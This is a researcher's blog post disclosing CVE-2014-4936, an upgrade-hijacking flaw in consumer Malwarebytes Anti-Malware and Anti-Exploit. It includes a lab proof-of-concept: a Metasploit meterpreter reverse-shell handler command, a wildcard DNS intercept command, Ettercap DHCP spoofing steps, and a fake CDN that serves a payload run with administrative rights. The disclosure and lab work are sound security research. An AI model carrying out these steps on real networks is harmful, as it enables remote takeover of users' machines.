In June of this year I was playing around with Malwarebytes’s products. I blogged about one of their products, Malwarebytes Anti-Malware, before when it had some issues; you can read that blog entry [ here ].
While playing around with Anti-Malware I discovered you could easily hijack the upgrade mechanism. After figuring out the protocol I could push my own upgrades. I reported this to Malwarebytes on July 16th, it got a CVE assigned: CVE-2014-4936.
About half a month later, around the time Malwarebytes had released their Anti-Exploit product Beta I started to play around with this one as well. I discovered it was subject to the same upgrade hijacking method.
Both vulnerabilities were scaled under one CVE, it was a shared mechanism (and code). Officially the description for this CVE has become:
Malwarebytes Anti-Malware in consumer version 2.0.2 and earlier and Malwarebytes Anti-Exploit in consumer version 1.03 and earlier allow attackers to execute arbitrary code by hijacking the underlying network layer or DNS infrastructure between the client PC and the Malwarebytes Content Delivery Network (CDN). Corporate versions are not affected.
One thing to note is that consumer versions of MBAM and MBAE are affected by this. Business versions of the products do not use the Malwarebytes CDN for upgrades.
This blog entry describes the vulnerability, how it works and how you can perform the attack including a POC. Code for the POC is hosted on my Github repository: [ CVE-2014-4936 POC ]
- Malwarebytes Anti-Malware
- Vulnerability discovered:
June 18th 2014
- Vulnerability reported:
July 16th 2014
- Vulnerability fixed in version
October 3rd 2014
- Vulnerability discovered:
- Malwarebytes Anti-Exploit
- Vulnerablity discovered:
August 19th 2014
- Vulnerability reported:
August 21st 2014
- Vulnerability fixed in version
September 5th 2014
- Vulnerablity discovered:
Both Anti-Malware and Anti-Exploit have upgrade capabilities through the form of HTTP transfered installation packages. Both software packages have no or limited upgrade validation implemented thus allowing anyone who can work out the upgrade protocol to inject their own payload.
Updates and Upgrades
When the software, either MBAM or MBAE, starts it will first resolve the Malwarebytes CDN:
192.168.2.102 -> 126.96.36.199 (DNS) Standard query A data-cdn.mbamupdates.com
For MBAM it will start checking versions of the following:
- Consumer config
- Consumer news
- Consumer versioncheck
- Consumer HTML
- Signature database
- Program upgrades
If any of the version requests respond with a higher number than the client itself has it will start downloading a partial or full update/upgrade. For the program upgrading it will download an installer for the latest version.
We are interested in the program upgrade as we can use this to, with ease, send malicious payloads without having to go into any advanced exploitation techniques. The client will start by sending a version request:
In the version request the User-Agent of the client shows the version (red underlined in the top section), the client has version 188.8.131.520. The server responds by telling the client version 184.108.40.2060 (red underlined in the bottom section) is the latest available.
The client will then proceed by downloading this file by making a request to the CDN once more:
The installation is downloaded and the installer for the new version starts.
The problem here lies with the fact that the MBAM client does not verify the actual installer it downloads. It can be whatever arbitrary Windows PE the server gives back. This is combined with the fact that MBAM starts the new client installer with full administrative privileges. Similar implementation and the same problem occurs for MBAE as well, payloads are unchecked and executed with full administrative privileges with Malwarebytes’s protection uninstalled.
This process is the same for MBAE although the request is a little bit different.
MBAM makes the following 2 requests for the version check followed by the upgrade download:
GET http://data-cdn.mbamupdates.com/v0/program/mbam.check.program HTTP/1.1 GET http://data-cdn.mbamupdates.com/v0/program/data/mbam-setup-
MBAE makes the following requests:
Hijacking the upgrades, exploiting the vulnerability
I have the following setup:
2 VM’s in host only network adapter mode:
- Windows XP running an old MBAM version 220.127.116.110
- Kali Linux running my MBAM CDN simulation python script
To exploit the client and to prove the vulnerability we need to intercept the DNS requests for the
data-cdn.mbamupdates.com. We can have a few options:
- Change the DNS adapter settings to resolve DNS with my Kali system which can do redirection
- Use the Windows host file to override DNS
- Grab ettercap in Kali and spoof towards the client to get DNS redirected.
To show the POC in a more ‘natural’ environment I chose the 3rd option. I’m going to show the vulnerability by performing a DHCP spoofing attack. There are of course other methods of attacking, you just need to be able to control the DNS of the client. Let’s start:
First we setup both clients running side by side, we put the two VM’s in host only adapter mode. On the Windows XP machine we install the old MBAM version, I took the oldest MBAM installer I had, version 18.104.22.1680:
On Kali we also have to start the Malwarebytes CDN simulator, you can get this script from the Github repository [ here ]. The simulator doesn’t need any arguments, you can just run it by typing
Some older versions of MBAM (1.46 for example) follow an older upgrade pattern, although the vulnerability also exists for these versions the provided Malwarebytes CDN simulator only works for MBAM since version 1.60.1.xxx. Older version will crash during the upgrade. You could adapt the POC to work for this version as well, its a matter of changing the URL’s it looks at.
One thing you have to make sure of is that you throw your payload in the working directory of the CDN simulator and name it ‘payload.exe’ in order to be picked up and send to the upgrading clients.
For this attack we’ll generate a meterpreter payload, we’re running Kali which has Metasploit installed already. We can quickly generate a PE payload from the commandline, in this example I use the meterpreter payload:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=4444 E
Note: Rapid7 published a post regarding the deprecation of msfpayload. This means in the future this payload has to be generated slightly different. Read more on the change here: [ Good-bye msfpayload and msfencode ]
The handler will start and listen for incoming connections:
Our reverse handler is now ready to receive incoming connections from our meterpreter payload, we can now start our attack.
Next thing we need to do is get DNS requests from the Windows XP machine redirected towards the Kali machine so it can be intercepted. We do this by grabbing Ettercap, in my case I grab Ettercap Graphical so I can visually show the attack in steps here.
Lets open up Ettercap and start by setting it in unified sniffing mode, the difference from bridged mode is that in unified mode we just sniff all packets that pass on the interface, in bridged mode it will use two network interfaces and forward traffic from one to the other and perform a mitm attack. In our case we will do a DNS ‘mitm’ attack but we dont need bridged mode.
After opening up unified mode the menu will change:
Now its time to select our target, fom the
Hosts menu open up the host list and then hit
Scan for hosts. A list of hosts in the current connected network will appear, in my case there are 2:
- The Windows XP machine (192.168.56.102)
- The host running the virtual machines (192.168.56.1)
We select the target, the Windows XP machine with IP 192.168.56.102 and hit the ‘Add to Target 1’ button to select it. You can view the targets by clicking the
Current Targets button under the
Targets menu option to see if the machine was selected.
Now we have to enable the DNS spoofing, Ettercap does have a plugin called ‘dns_spoof’ but I choose to use dnslib’s intercept server. Its part of the DNSLib python library. Setting up is a single command:
python -m dnslib.intercept -p 53 -a 192.168.56.103 -i '* IN A 192.168.56.103'
Here we setup our listener on port 53 and bind to address 192.168.56.103 and intercept any request (* for the wildcard) and respond to it with the 192.168.56.103 IP. This means we will grab any request, you can also specify it a bit better by only responding for
*.data-cdn.mbamupdates.com but for ease I chose to intercept everything and route it to the Kali machine.
We now can start our attack. Open up the
Mitm menu option and click on
Dhcp spoofing. We will spoof DHCP towards the Windows XP client so we can force our own DNS server in the DNS server settings. On the DHCP Spoofing popup we leave the
IP Pool field empty, enter
255.255.255.0 in the
Netmask field and put our own IP (192.168.56.103) in the
DNS Server IP field to enforce the Kali host to be the DNS server for the Windows XP machine.
After entering the options hit the ‘OK’ button to start the attack. In the status log we can see Ettercap is starting the attack.
After we’ve started the DHCP spoofing we need to wait for the DHCP lease (or force it on the client itself) to renew so Ettercap can spoof it. After a bit Ettercap will log the DHCP request and its response to it:
DHCP: [08:00:27:2F:56:97] REQUEST 192.168.56.102 DHCP spoofing: fake ACK [08:00:27:2F:56:97] assigned to 192.168.56.102 DHCP: [192.168.56.103] ACK : 192.168.56.102 255.255.255.0 GW 192.168.56.103 DNS 192.168.56.103
On the client we can now check the IPconfig settings to check for our spoofed DNS server:
What we have to do now is either wait for the MBAM client on the Windows machine to contact the server for upgrades automatically or enforce it by hitting the
Check for Updates button on the
Update tab in the MBAM GUI.
On the Malwarebytes CDN script terminal we can see the client contacted us and has downloaded the payload:
root@kali:~/mbam_upgrade# python Malwarebytes-CDN-Simulator-CVE-2014-4936.py Started Malwarebytes CDN simulator. [+] Attempt for URI: /v1/news/consumer/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/news/consumer/version.chk HTTP/1.1" 200 - [+] Attempt for URI: /v1/custom/consumer/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/custom/consumer/version.chk HTTP/1.1" 200 - [+] Attempt for URI: /v1/database/rules/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/database/rules/version.chk HTTP/1.1" 200 - 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v0/program/mbam.check.program HTTP/1.1" 200 - [+] MBAM Client program version check: Client version 22.214.171.1240, enforced update version 126.96.36.1990 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v0/program/data/mbam-setup-188.8.131.520.exe HTTP/1.1" 200 - [+] MBAM Client payload download.
On the Windows machine we see MBAM telling us a new version is available:
If we accept and run the upgrade installer we see MBAM dissapear and nothing happens. Now if you check back with the meterpreter handler we see the client has connected back to us:
And due to how the upgrade works, the old MBAM install will execute the ‘installer’ with full administrative privileges as you can see by typing
We have successfully injected our payload into the upgrade process of MBAM. We have taken over the Windows XP machine by abusing the vulnerability. The same process can be used to takeover MBAE clients, the only difference is the checkin URLs but the Malwarebytes CDN simulator script already takes care of it, enjoy!